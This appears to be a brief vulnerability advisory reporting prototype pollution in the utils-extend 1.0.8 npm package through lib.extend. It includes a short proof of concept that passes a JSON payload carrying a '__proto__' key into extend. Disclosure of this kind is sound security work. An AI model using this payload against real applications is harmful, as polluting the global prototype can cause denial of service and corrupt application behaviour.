utils-extend Prototype Pollution

The latest version of utils-extend (1.0.8) is vulnerable to Prototype Pollution through the entry function(s) lib.extend. An attacker can supply a payload with Object.prototype setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) a the minimum consequence.

PoC

async function exploit() {
   const utilsextend = require(\"utils-extend\");
   const payload = JSON.parse('{\"__proto__\":{\"exploited\":true}}');
   const result = await utilsextend.extend({}, payload);
}

await exploit();